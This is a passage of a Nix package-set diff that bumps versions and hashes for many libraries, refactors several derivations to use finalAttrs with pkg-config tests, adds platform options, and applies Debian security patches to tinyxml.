b/pkgs/development/libraries/science/chemistry/avogadrolibs/fragments.patch @@ -0,0 +1,13 @@ +diff --git a/avogadro/qtplugins/templatetool/CMakeLists.txt b/avogadro/qtplugins/templatetool/CMakeLists.txt +index 3f68e6dd..822de4e5 100644 +--- a/avogadro/qtplugins/templatetool/CMakeLists.txt ++++ b/avogadro/qtplugins/templatetool/CMakeLists.txt +@@ -24,7 +24,7 @@ avogadro_plugin(TemplateTool + ) + + # Install the fragments +-set(_fragments "${AvogadroLibs_SOURCE_DIR}/../fragments") ++set(_fragments "${AvogadroLibs_SOURCE_DIR}/fragments") + + # Look in parallel directory for the molecule fragment repository + if(NOT EXISTS "${_fragments}") diff --git a/pkgs/development/libraries/science/chemistry/libvdwxc/default.nix b/pkgs/development/libraries/science/chemistry/libvdwxc/default.nix index f90cad4a099f1..c0da65e7c7884 100644 --- a/pkgs/development/libraries/science/chemistry/libvdwxc/default.nix +++ b/pkgs/development/libraries/science/chemistry/libvdwxc/default.nix @@ -28,7 +28,7 @@ stdenv.mkDerivation rec { export PATH=$PATH:${mpi}/bin configureFlagsArray+=( - --with-mpi=${mpi} + --with-mpi=${lib.getDev mpi} CC=mpicc FC=mpif90 MPICC=mpicc diff --git a/pkgs/development/libraries/science/math/amd-blis/default.nix b/pkgs/development/libraries/science/math/amd-blis/default.nix index f6d00411221c8..17838ab373907 100644 --- a/pkgs/development/libraries/science/math/amd-blis/default.nix +++ b/pkgs/development/libraries/science/math/amd-blis/default.nix @@ -21,13 +21,13 @@ let in stdenv.mkDerivation rec { pname = "amd-blis"; - version = "4.1"; + version = "4.2"; src = fetchFromGitHub { owner = "amd"; repo = "blis"; rev = version; - hash = "sha256-1vd4uBg/+Vufqsr+MnAWSUW/THkribHNSMeq1/is8K4="; + hash = "sha256-mLigzaA2S7qFCQT8UWC6bHWAvBjgpqvtgabPyFWBYT0="; }; inherit blas64; diff --git a/pkgs/development/libraries/science/math/amd-libflame/default.nix b/pkgs/development/libraries/science/math/amd-libflame/default.nix index b03352c54e8a0..0ca1c49505412 100644 --- a/pkgs/development/libraries/science/math/amd-libflame/default.nix +++ b/pkgs/development/libraries/science/math/amd-libflame/default.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation rec { pname = "amd-libflame"; - version = "4.1"; + version = "4.2"; src = fetchFromGitHub { owner = "amd"; repo = "libflame"; rev = version; - hash = "sha256-SZk11oOAnvn1vb7ucX6U9b0YtAJNxl3tQu4ExHpwwoo="; + hash = "sha256-eiH2eq+nKUjlB1bZTZNRW1+efCHZ68UOSFy0NpcY1FI="; }; postPatch = '' diff --git a/pkgs/development/libraries/science/math/clblast/default.nix b/pkgs/development/libraries/science/math/clblast/default.nix index 23d749f1b2979..e4bbd09a7586b 100644 --- a/pkgs/development/libraries/science/math/clblast/default.nix +++ b/pkgs/development/libraries/science/math/clblast/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "clblast"; - version = "1.6.1"; + version = "1.6.2"; src = fetchFromGitHub { owner = "CNugteren"; repo = "CLBlast"; rev = version; - hash = "sha256-1ddjmoLhFoLi/z2cae0HZidUTySsZQDk1T8MVPTbfi4="; + hash = "sha256-S25g25Il6rzkpU9IqOFDDeEr3uYyt/uewZZAl09YSts="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/science/math/itpp/default.nix b/pkgs/development/libraries/science/math/itpp/default.nix index b5e2f4b80d3b2..639497bb1f8cc 100644 --- a/pkgs/development/libraries/science/math/itpp/default.nix +++ b/pkgs/development/libraries/science/math/itpp/default.nix @@ -28,7 +28,7 @@ stdenv.mkDerivation rec { ]; cmakeFlags = [ - "-DCMAKE_CXX_FLAGS=-std=c++11" + "-DCMAKE_CXX_FLAGS=-std=c++14" "-DBLAS_FOUND:BOOL=TRUE" "-DBLAS_LIBRARIES:STRING=${blas}/lib/libblas.so" "-DLAPACK_FOUND:BOOL=TRUE" diff --git a/pkgs/development/libraries/science/math/libamplsolver/default.nix b/pkgs/development/libraries/science/math/libamplsolver/default.nix index c0bc89b492ea2..a40091bac8b50 100644 --- a/pkgs/development/libraries/science/math/libamplsolver/default.nix +++ b/pkgs/development/libraries/science/math/libamplsolver/default.nix @@ -12,7 +12,7 @@ stdenv.mkDerivation rec { patches = [ (substitute { src = ./libamplsolver-sharedlib.patch; - replacements = [ "--replace" "@sharedlibext@" "${stdenv.hostPlatform.extensions.sharedLibrary}" ]; + substitutions = [ "--replace" "@sharedlibext@" "${stdenv.hostPlatform.extensions.sharedLibrary}" ]; }) ]; diff --git a/pkgs/development/libraries/science/math/mkl/default.nix b/pkgs/development/libraries/science/math/mkl/default.nix index f4b168b37fe2d..90e6c05da77d0 100644 --- a/pkgs/development/libraries/science/math/mkl/default.nix +++ b/pkgs/development/libraries/science/math/mkl/default.nix @@ -68,9 +68,7 @@ in stdenvNoCC.mkDerivation ({ dontUnpack = stdenvNoCC.isLinux; - unpackPhase = if stdenvNoCC.isDarwin then '' - 7zz x $src - '' else null; + sourceRoot = if stdenvNoCC.isDarwin then "." else null; nativeBuildInputs = [ validatePkgConfig ] ++ (if stdenvNoCC.isDarwin then diff --git a/pkgs/development/libraries/science/math/openlibm/default.nix b/pkgs/development/libraries/science/math/openlibm/default.nix index 21c7d45a90997..4ee82bc0633ec 100644 --- a/pkgs/development/libraries/science/math/openlibm/default.nix +++ b/pkgs/development/libraries/science/math/openlibm/default.nix @@ -2,16 +2,16 @@ stdenv.mkDerivation rec { pname = "openlibm"; - version = "0.8.1"; + version = "0.8.2"; src = fetchFromGitHub { owner = "JuliaLang"; repo = "openlibm"; rev = "v${version}"; - sha256 = "sha256-q7BYUU8oChjuBFbVnpT+vqIAu+BVotT4xY2Dn0hmWfc="; + sha256 = "sha256-EnpwYtBpY+s5FVI2jhaFHTtAKHeaRlZVnWE/o2T1+FY="; }; - makeFlags = [ "prefix=$(out)" ]; + makeFlags = [ "prefix=$(out)" "CC=${stdenv.cc.targetPrefix}cc" ]; meta = { description = "High quality system independent, portable, open source libm implementation"; diff --git a/pkgs/development/libraries/science/math/scalapack/default.nix b/pkgs/development/libraries/science/math/scalapack/default.nix index 81bcec504473d..85aa5c4a8736a 100644 --- a/pkgs/development/libraries/science/math/scalapack/default.nix +++ b/pkgs/development/libraries/science/math/scalapack/default.nix @@ -51,7 +51,7 @@ stdenv.mkDerivation rec { -DBUILD_SHARED_LIBS=ON -DBUILD_STATIC_LIBS=OFF -DLAPACK_LIBRARIES="-llapack" -DBLAS_LIBRARIES="-lblas" - -DCMAKE_Fortran_COMPILER=${mpi}/bin/mpif90 + -DCMAKE_Fortran_COMPILER=${lib.getDev mpi}/bin/mpif90 ${lib.optionalString passthru.isILP64 '' -DCMAKE_Fortran_FLAGS="-fdefault-integer-8" -DCMAKE_C_FLAGS="-DInt=long" diff --git a/pkgs/development/libraries/science/math/suitesparse-graphblas/default.nix b/pkgs/development/libraries/science/math/suitesparse-graphblas/default.nix index 648e053765295..ac08cb8762533 100644 --- a/pkgs/development/libraries/science/math/suitesparse-graphblas/default.nix +++ b/pkgs/development/libraries/science/math/suitesparse-graphblas/default.nix @@ -7,7 +7,7 @@ stdenv.mkDerivation rec { pname = "suitesparse-graphblas"; - version = "9.0.1"; + version = "9.0.3"; outputs = [ "out" "dev" ]; @@ -15,7 +15,7 @@ stdenv.mkDerivation rec { owner = "DrTimothyAldenDavis"; repo = "GraphBLAS"; rev = "v${version}"; - hash = "sha256-eNd6jlpW3KiRvOCKvNP5ttpgjPPXt2M2vLhk1Zn4gTE="; + hash = "sha256-qRRrxMshLLEltCzXFv/j6NgRi6x1SHlAuKG5NfLiBFs="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/sdbus-cpp/default.nix b/pkgs/development/libraries/sdbus-cpp/default.nix index 4d820c0e36dc1..c7795c3c1c2c5 100644 --- a/pkgs/development/libraries/sdbus-cpp/default.nix +++ b/pkgs/development/libraries/sdbus-cpp/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "sdbus-cpp"; - version = "1.4.0"; + version = "1.5.0"; src = fetchFromGitHub { owner = "kistler-group"; repo = "sdbus-cpp"; rev = "v${version}"; - hash = "sha256-AOqwC7CABvQsG9P1PnUg2DIhNmHqYpgbKzm9C2gWNIQ="; + hash = "sha256-oO8QNffwNI245AEPdutOGqxj4qyusZYK3bZWLh2Lcag="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/sentencepiece/default.nix b/pkgs/development/libraries/sentencepiece/default.nix index f2fc6a1a8676f..0c40f67c21ee5 100644 --- a/pkgs/development/libraries/sentencepiece/default.nix +++ b/pkgs/development/libraries/sentencepiece/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "sentencepiece"; - version = "0.1.99"; + version = "0.2.0"; src = fetchFromGitHub { owner = "google"; repo = pname; rev = "refs/tags/v${version}"; - sha256 = "sha256-RxzysZsfTdhAtJCO3JOa/bSBNnHBRWkqBdwBa8sB74I="; + sha256 = "sha256-tMt6UBDqpdjAhxAJlVOFFlE3RC36/t8K0gBAzbesnsg="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/signond/default.nix b/pkgs/development/libraries/signond/default.nix index ea57e872ab29d..5e9e538553136 100644 --- a/pkgs/development/libraries/signond/default.nix +++ b/pkgs/development/libraries/signond/default.nix @@ -1,14 +1,15 @@ { stdenv, lib, fetchFromGitLab, qmake, qtbase, wrapQtAppsHook, doxygen }: -stdenv.mkDerivation rec { +stdenv.mkDerivation { pname = "signond"; - version = "8.61"; + version = "8.61-unstable-2023-11-24"; + # pinned to fork with Qt6 support src = fetchFromGitLab { - owner = "accounts-sso"; - repo = pname; - rev = "VERSION_${version}"; - sha256 = "sha256-d7JZmGpjIvSN9l1nvKbBZjF0OR5L5frPTGHF/pNEqHE="; + owner = "nicolasfella"; + repo = "signond"; + rev = "c8ad98249af541514ff7a81634d3295e712f1a39"; + hash = "sha256-0FcSVF6cPuFEU9h7JIbanoosW/B4rQhFPOq7iBaOdKw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/silgraphite/graphite2.nix b/pkgs/development/libraries/silgraphite/graphite2.nix index 7c1f7c0d3b40d..03926aebbceaa 100644 --- a/pkgs/development/libraries/silgraphite/graphite2.nix +++ b/pkgs/development/libraries/silgraphite/graphite2.nix @@ -5,15 +5,15 @@ , freetype , cmake , static ? stdenv.hostPlatform.isStatic +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { version = "1.3.14"; pname = "graphite2"; src = fetchurl { - url = "https://github.com/silnrsi/graphite/releases/download/" - + "${version}/graphite2-${version}.tgz"; + url = with finalAttrs; "https://github.com/silnrsi/graphite/releases/download/${version}/${pname}-${version}.tgz"; sha256 = "1790ajyhk0ax8xxamnrk176gc9gvhadzy78qia4rd8jzm89ir7gr"; }; @@ -46,12 +46,19 @@ stdenv.mkDerivation rec { doCheck = true; + passthru.tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "An advanced font engine"; homepage = "https://graphite.sil.org/"; license = licenses.lgpl21; maintainers = [ maintainers.raskin ]; + pkgConfigModules = [ "graphite2" ]; mainProgram = "gr2fonttest"; platforms = platforms.unix ++ platforms.windows; }; -} +}) diff --git a/pkgs/development/libraries/simdjson/default.nix b/pkgs/development/libraries/simdjson/default.nix index 768587534778e..cf56180551fd0 100644 --- a/pkgs/development/libraries/simdjson/default.nix +++ b/pkgs/development/libraries/simdjson/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "simdjson"; - version = "3.6.4"; + version = "3.7.0"; src = fetchFromGitHub { owner = "simdjson"; repo = "simdjson"; rev = "v${version}"; - sha256 = "sha256-yIZKlKp4p1HJBAdba+57sGl0ri0gGtjSgZQ16/vDE34="; + sha256 = "sha256-0fizP+j06NAp4CJynjzHG25OBmTa7wjkLZ2MBs1NxG4="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/development/libraries/slib/default.nix b/pkgs/development/libraries/slib/default.nix index 91c32b5dd3a88..54aa046bd6762 100644 --- a/pkgs/development/libraries/slib/default.nix +++ b/pkgs/development/libraries/slib/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "slib"; - version = "3b7"; + version = "3c1"; src = fetchurl { url = "https://groups.csail.mit.edu/mac/ftpdir/scm/${pname}-${version}.zip"; - hash = "sha256-9dXNrTNTlaWlqjfv/iiqgHiyFuo5kR9lGSlnjxrCKLY="; + hash = "sha256-wvjrmOYFMN9TIRmF1LQDtul6epaYM8Gm0b+DVh2gx4E="; }; patches = [ diff --git a/pkgs/development/libraries/span-lite/default.nix b/pkgs/development/libraries/span-lite/default.nix index 1af8466a4d073..724870e0751cc 100644 --- a/pkgs/development/libraries/span-lite/default.nix +++ b/pkgs/development/libraries/span-lite/default.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "span-lite"; - version = "0.10.3"; + version = "0.11.0"; src = fetchFromGitHub { owner = "martinmoene"; repo = "span-lite"; rev = "v${version}"; - hash = "sha256-WfoyyPLBqXSGGATWN/wny6P++3aCmQMOMLCARhB+R3c="; + hash = "sha256-BYRSdGzIvrOjPXxeabMj4tPFmQ0wfq7y+zJf6BD/bTw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/speex/default.nix b/pkgs/development/libraries/speex/default.nix index cdf5b00abd044..cba0e4e76f3f4 100644 --- a/pkgs/development/libraries/speex/default.nix +++ b/pkgs/development/libraries/speex/default.nix @@ -1,4 +1,12 @@ -{ lib, stdenv, fetchurl, autoreconfHook, pkg-config, fftw, speexdsp }: +{ lib +, stdenv +, fetchurl +, autoreconfHook +, pkg-config +, fftw +, speexdsp +, withFft ? !stdenv.hostPlatform.isMinGW +}: stdenv.mkDerivation rec { pname = "speex"; @@ -16,12 +24,13 @@ stdenv.mkDerivation rec { outputs = [ "out" "dev" "doc" ]; nativeBuildInputs = [ autoreconfHook pkg-config ]; - buildInputs = [ fftw speexdsp ]; + buildInputs = lib.optionals withFft [ fftw ] + ++ [ speexdsp ]; # TODO: Remove this will help with immediate backward compatibility propagatedBuildInputs = [ speexdsp ]; - configureFlags = [ + configureFlags = lib.optionals withFft [ "--with-fft=gpl-fftw3" ]; @@ -29,6 +38,6 @@ stdenv.mkDerivation rec { homepage = "https://www.speex.org/"; description = "An Open Source/Free Software patent-free audio compression format designed for speech"; license = licenses.bsd3; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; }; } diff --git a/pkgs/development/libraries/sqlcipher/default.nix b/pkgs/development/libraries/sqlcipher/default.nix index 05576b0dab141..d35f654650ee5 100644 --- a/pkgs/development/libraries/sqlcipher/default.nix +++ b/pkgs/development/libraries/sqlcipher/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "sqlcipher"; - version = "4.5.5"; + version = "4.5.6"; src = fetchFromGitHub { owner = "sqlcipher"; repo = "sqlcipher"; rev = "v${version}"; - hash = "sha256-amWYkVQr+Rmcj+32lFDRq43Q+Ojj8V8B6KoURqdwGt0="; + hash = "sha256-tfDjl1l1vMWZsxFNEPK9jOrUN260/3k2kX6rVHPCZ0k="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/termbox/default.nix b/pkgs/development/libraries/termbox/default.nix index 51c2ca1c8084f..22657cd663a2e 100644 --- a/pkgs/development/libraries/termbox/default.nix +++ b/pkgs/development/libraries/termbox/default.nix @@ -1,12 +1,12 @@ { lib, stdenv, fetchFromGitHub }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "termbox"; version = "1.1.4"; src = fetchFromGitHub { owner = "termbox"; repo = "termbox"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; sha256 = "075swv6ajx8m424dbmgbf6fs6nd5q004gjpvx48gkxmnf9spvykl"; }; @@ -19,4 +19,4 @@ stdenv.mkDerivation rec { downloadPage = "https://github.com/termbox/termbox/releases"; maintainers = with maintainers; [ fgaz ]; }; -} +}) diff --git a/pkgs/development/libraries/tinyxml/2.6.2.nix b/pkgs/development/libraries/tinyxml/2.6.2.nix index ebfd8e5670ff6..ded5013cca99a 100644 --- a/pkgs/development/libraries/tinyxml/2.6.2.nix +++ b/pkgs/development/libraries/tinyxml/2.6.2.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchurl, unzip }: +{ lib, stdenv, fetchurl, fetchpatch, unzip }: let version = "2.6.2"; @@ -21,6 +21,17 @@ in stdenv.mkDerivation { # Use CC, CXX, and LD from environment ./2.6.2-cxx.patch + + (fetchpatch { + name = "CVE-2023-34194.patch"; + url = "https://salsa.debian.org/debian/tinyxml/-/raw/2366e1f23d059d4c20c43c54176b6bd78d6a83fc/debian/patches/CVE-2023-34194.patch"; + hash = "sha256-ow4LmLQV24SAU6M1J8PXpW5c95+el3t8weM9JK5xJfg="; + }) + (fetchpatch { + name = "CVE-2021-42260.patch"; + url = "https://salsa.debian.org/debian/tinyxml/-/raw/dc332a9f4e05496c8342b778c14b256083beb1ee/debian/patches/CVE-2021-42260.patch"; + hash = "sha256-pIM0uOnUQOW93w/PEPuW3yKq1mdvNT/ClCYVc2hLoY8="; + }) ]; preConfigure = "export LD=${stdenv.cc.targetPrefix}c++"; @@ -74,7 +85,7 @@ in stdenv.mkDerivation { meta = { description = "Simple, small, C++ XML parser that can be easily integrating into other programs"; homepage = "http://www.grinninglizard.com/tinyxml/index.html"; - license = lib.licenses.free; + license = lib.licenses.zlib; platforms = lib.platforms.unix; }; } diff --git a/pkgs/development/libraries/tracker/default.nix b/pkgs/development/libraries/tracker/default.nix index c349379648db3..db9f7f1cfbf56 100644 --- a/pkgs/development/libraries/tracker/default.nix +++ b/pkgs/development/libraries/tracker/default.nix @@ -28,16 +28,17 @@ , systemd , dbus , writeText +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "tracker"; version = "3.6.0"; outputs = [ "out" "dev" "devdoc" ]; src = fetchurl { - url = "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; + url = with finalAttrs; "mirror://gnome/sources/${pname}/${lib.versions.majorMinor version}/${pname}-${version}.tar.xz"; sha256 = "Ulks/hm6/9FtvkdHW+fadQ29C2Mz/XrLYPqp2lvEDfI="; }; @@ -162,7 +163,10 @@ stdenv.mkDerivation rec { passthru = { updateScript = gnome.updateScript { - packageName = pname; + packageName = finalAttrs.pname; + }; + tests.pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; }; }; @@ -172,5 +176,6 @@ stdenv.mkDerivation rec { maintainers = teams.gnome.members; license = licenses.gpl2Plus; platforms = platforms.unix; + pkgConfigModules = [ "tracker-sparql-3.0" "tracker-testutils-3.0" ]; }; -} +}) diff --git a/pkgs/development/libraries/unixODBCDrivers/default.nix b/pkgs/development/libraries/unixODBCDrivers/default.nix index d1b52fc5694c2..4d4d837e2e928 100644 --- a/pkgs/development/libraries/unixODBCDrivers/default.nix +++ b/pkgs/development/libraries/unixODBCDrivers/default.nix @@ -43,13 +43,13 @@ mariadb = stdenv.mkDerivation rec { pname = "mariadb-connector-odbc"; - version = "3.1.14"; + version = "3.1.20"; src = fetchFromGitHub { owner = "mariadb-corporation"; repo = "mariadb-connector-odbc"; rev = version; - sha256 = "0wvy6m9qfvjii3kanf2d1rhfaww32kg0d7m57643f79qb05gd6vg"; + hash = "sha256-l+HlS7/A0shwsEXYKDhi+QCmwHaMTeKrtcvo9yYpYws="; # this driver only seems to build correctly when built against the mariadb-connect-c subrepo # (see https://github.com/NixOS/nixpkgs/issues/73258) fetchSubmodules = true; @@ -64,12 +64,13 @@ buildInputs = [ unixODBC openssl libiconv zlib ] ++ lib.optionals stdenv.isDarwin [ libkrb5 ]; - preConfigure = '' + # TODO: remove preConfigure on staging + preConfigure = if !stdenv.isDarwin then '' # we don't want to build a .pkg substituteInPlace CMakeLists.txt \ --replace "IF(APPLE)" "IF(0)" \ --replace "CMAKE_SYSTEM_NAME MATCHES AIX" "APPLE" - ''; + '' else null; cmakeFlags = [ "-DWITH_EXTERNAL_ZLIB=ON" @@ -80,6 +81,10 @@ "-DWITH_IODBC=OFF" ]; + buildFlags = if stdenv.isDarwin then [ "maodbc" ] else null; + + installTargets = if stdenv.isDarwin then [ "install/fast" ] else null; + # see the top of the file for an explanation passthru = { fancyName = "MariaDB"; diff --git a/pkgs/development/libraries/vte/default.nix b/pkgs/development/libraries/vte/default.nix index ec16a5d77758e..be55952fe2e1a 100644 --- a/pkgs/development/libraries/vte/default.nix +++ b/pkgs/development/libraries/vte/default.nix @@ -33,7 +33,8 @@ stdenv.mkDerivation (finalAttrs: { pname = "vte"; version = "0.74.2"; - outputs = [ "out" "dev" "devdoc" ]; + outputs = [ "out" "dev" ] + ++ lib.optional (gtkVersion != null) "devdoc"; src = fetchurl { url = "mirror://gnome/sources/vte/${lib.versions.majorMinor finalAttrs.version}/vte-${finalAttrs.version}.tar.xz"; @@ -68,6 +69,7 @@ stdenv.mkDerivation (finalAttrs: { cairo fribidi gnutls + pango # duplicated with propagatedBuildInputs to support gtkVersion == null pcre2 zlib icu @@ -75,9 +77,10 @@ stdenv.mkDerivation (finalAttrs: { systemd ]; - propagatedBuildInputs = assert (gtkVersion == "3" || gtkVersion == "4"); [ - # Required by vte-2.91.pc. - (if gtkVersion == "3" then gtk3 else gtk4) + # Required by vte-2.91.pc. + propagatedBuildInputs = lib.optionals (gtkVersion != null) [ + (assert (gtkVersion == "3" || gtkVersion == "4"); + if gtkVersion == "3" then gtk3 else gtk4) glib pango ]; diff --git a/pkgs/development/libraries/vulkan-loader/default.nix b/pkgs/development/libraries/vulkan-loader/default.nix index 958cc2dadc7ba..8b0f236acf4e4 100644 --- a/pkgs/development/libraries/vulkan-loader/default.nix +++ b/pkgs/development/libraries/vulkan-loader/default.nix @@ -1,14 +1,15 @@ { lib, stdenv, fetchFromGitHub, cmake, pkg-config, libX11, libxcb -, libXrandr, wayland, moltenvk, vulkan-headers, addOpenGLRunpath }: +, libXrandr, wayland, moltenvk, vulkan-headers, addOpenGLRunpath +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "vulkan-loader"; version = "1.3.275.0"; src = fetchFromGitHub { owner = "KhronosGroup"; repo = "Vulkan-Loader"; - rev = "vulkan-sdk-${version}"; + rev = "vulkan-sdk-${finalAttrs.version}"; hash = "sha256-53PUXAWiK38ciV6oMvD7ZHdXi4RU4r0RmDWUUHU3mE0="; }; @@ -34,12 +35,19 @@ stdenv.mkDerivation rec { } ''; + passthru = { + tests.pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; + meta = with lib; { description = "LunarG Vulkan loader"; homepage = "https://www.lunarg.com"; platforms = platforms.unix ++ platforms.windows; license = licenses.asl20; maintainers = [ maintainers.ralith ]; - broken = (version != vulkan-headers.version); + broken = finalAttrs.version != vulkan-headers.version; + pkgConfigModules = [ "vulkan" ]; }; -} +}) diff --git a/pkgs/development/libraries/wangle/default.nix b/pkgs/development/libraries/wangle/default.nix index 4afbb38094e22..d30389d972593 100644 --- a/pkgs/development/libraries/wangle/default.nix +++ b/pkgs/development/libraries/wangle/default.nix @@ -16,15 +16,15 @@ , zlib }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "wangle"; - version = "2023.04.03.00"; + version = "2024.01.22.00"; src = fetchFromGitHub { owner = "facebook"; repo = "wangle"; - rev = "v${version}"; - sha256 = "sha256-ISf/ezcJKCNv5UEGSf+OmHjV+QkanbTNoAm2ci1qy0o="; + rev = "v${finalAttrs.version}"; + sha256 = "sha256-pXcJszncYWvtwT4guEl69rOAIXZzgF7I6qh8PqLbxdA="; }; nativeBuildInputs = [ cmake ]; @@ -33,8 +33,8 @@ stdenv.mkDerivation rec { cmakeFlags = [ "-Wno-dev" + (lib.cmakeBool "BUILD_TESTS" finalAttrs.finalPackage.doCheck) ] ++ lib.optionals stdenv.isDarwin [ - "-DBUILD_TESTS=off" # Tests fail on Darwin due to missing utimensat "-DCMAKE_OSX_DEPLOYMENT_TARGET=10.14" # For aligned allocation ]; @@ -46,13 +46,33 @@ stdenv.mkDerivation rec { double-conversion fizz folly - gtest glog gflags libevent openssl ]; + doCheck = true; + checkInputs = [ + gtest + ]; + preCheck = let + disabledTests = [ + # these depend on example pem files from the folly source tree (?) + "SSLContextManagerTest.TestSingleClientCAFileSet" + "SSLContextManagerTest.TestMultipleClientCAsSet" + + # https://github.com/facebook/wangle/issues/206 + "SSLContextManagerTest.TestSessionContextCertRemoval" + ] ++ lib.optionals stdenv.isDarwin [ + # flaky + "BroadcastPoolTest.ThreadLocalPool" + "Bootstrap.UDPClientServerTest" + ]; + in '' + export GTEST_FILTER="-${lib.concatStringsSep ":" disabledTests}" + ''; + meta = with lib; { description = "An open-source C++ networking library"; longDescription = '' @@ -65,4 +85,4 @@ stdenv.mkDerivation rec { platforms = platforms.unix; maintainers = with maintainers; [ pierreis kylesferrazza ]; }; -} +}) diff --git a/pkgs/development/libraries/wayland/default.nix b/pkgs/development/libraries/wayland/default.nix index 52a1d9db3d281..b4e203f5ed264 100644 --- a/pkgs/development/libraries/wayland/default.nix +++ b/pkgs/development/libraries/wayland/default.nix @@ -20,6 +20,7 @@ , docbook_xsl , docbook_xml_dtd_45 , docbook_xml_dtd_42 +, testers }: # Documentation is only built when building libraries. @@ -31,12 +32,12 @@ assert withTests -> withLibraries; let isCross = stdenv.buildPlatform != stdenv.hostPlatform; in -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "wayland"; version = "1.22.0"; src = fetchurl { - url = "https://gitlab.freedesktop.org/wayland/wayland/-/releases/${version}/downloads/${pname}-${version}.tar.xz"; + url = with finalAttrs; "https://gitlab.freedesktop.org/wayland/wayland/-/releases/${version}/downloads/${pname}-${version}.tar.xz"; hash = "sha256-FUCvHqaYpHHC2OnSiDMsfg/TYMjx0Sk267fny8JCWEI="; }; @@ -102,11 +103,16 @@ stdenv.mkDerivation rec { Name: Wayland Scanner Description: Wayland scanner - Version: ${version} + Version: ${finalAttrs.version} EOF ''; - passthru = { inherit withLibraries; }; + passthru = { + inherit withLibraries; + tests.pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; meta = with lib; { description = "Core Wayland window system code and protocol"; @@ -122,5 +128,14 @@ stdenv.mkDerivation rec { license = licenses.mit; # Expat version platforms = platforms.unix; maintainers = with maintainers; [ primeos codyopel qyliss ]; + pkgConfigModules = [ + "wayland-scanner" + ] ++ lib.optionals withLibraries [ + "wayland-client" + "wayland-cursor" + "wayland-egl" + "wayland-egl-backend" + "wayland-server" + ]; }; -} +}) diff --git a/pkgs/development/libraries/x265/default.nix b/pkgs/development/libraries/x265/default.nix index 0ce635a80fb71..1fc5f3129c0ef 100644 --- a/pkgs/development/libraries/x265/default.nix +++ b/pkgs/development/libraries/x265/default.nix @@ -139,6 +139,10 @@ stdenv.mkDerivation rec { postInstall = '' rm -f ${placeholder "out"}/lib/*.a + '' + # For mingw, libs are located in $out/bin not $out/lib + + lib.optionalString stdenv.hostPlatform.isMinGW '' + ln -s $out/bin/*.dll $out/lib ''; meta = with lib; { diff --git a/pkgs/development/libraries/xcb-imdkit/default.nix b/pkgs/development/libraries/xcb-imdkit/default.nix index a0fd70e10d3b1..0483d27185410 100644 --- a/pkgs/development/libraries/xcb-imdkit/default.nix +++ b/pkgs/development/libraries/xcb-imdkit/default.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "xcb-imdkit"; - version = "1.0.6"; + version = "1.0.7"; src = fetchFromGitHub { owner = "fcitx"; repo = "xcb-imdkit"; rev = version; - sha256 = "sha256-1+x4KE2xh6KWbdCBlPxDvHvcKUEj4hiW4fEPCeYfTwc="; + sha256 = "sha256-trfKWCMIuYV0XyCcIsNP8LCTc0MYotXvslRvp76YnKU="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/xdg-desktop-portal/default.nix b/pkgs/development/libraries/xdg-desktop-portal/default.nix index 905675c406597..325fc7305ad6a 100644 --- a/pkgs/development/libraries/xdg-desktop-portal/default.nix +++ b/pkgs/development/libraries/xdg-desktop-portal/default.nix @@ -54,11 +54,10 @@ stdenv.mkDerivation (finalAttrs: { # Allow installing installed tests to a separate output. ./installed-tests-path.patch - # `XDG_DESKTOP_PORTAL_DIR` originally was used for upstream tests. But we are making use - # of this in the NixOS module, this actually blocks any configs from being loaded since - # configs are not expected to be placed in a portal implementation or even under the - # `share/xdg-desktop-portal/portals/` path. - ./separate-env-for-portal-config.patch + # Look for portal definitions under path from `NIX_XDG_DESKTOP_PORTAL_DIR` environment variable. + # While upstream has `XDG_DESKTOP_PORTAL_DIR`, it is meant for tests and actually blocks + # any configs from being loaded from anywhere else. + ./nix-pkgdatadir-env.patch ]; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch b/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch new file mode 100644 index 0000000000000..b099c4ad56f5b --- /dev/null +++ b/pkgs/development/libraries/xdg-desktop-portal/nix-pkgdatadir-env.patch @@ -0,0 +1,13 @@ +diff --git a/src/portal-impl.c b/src/portal-impl.c +index 85b3a23..6d43636 100644 +--- a/src/portal-impl.c ++++ b/src/portal-impl.c +@@ -275,6 +275,8 @@ load_installed_portals (gboolean opt_verbose) + + /* We need to override this in the tests */ + portal_dir = g_getenv ("XDG_DESKTOP_PORTAL_DIR"); ++ if (portal_dir == NULL) ++ portal_dir = g_getenv ("NIX_XDG_DESKTOP_PORTAL_DIR"); 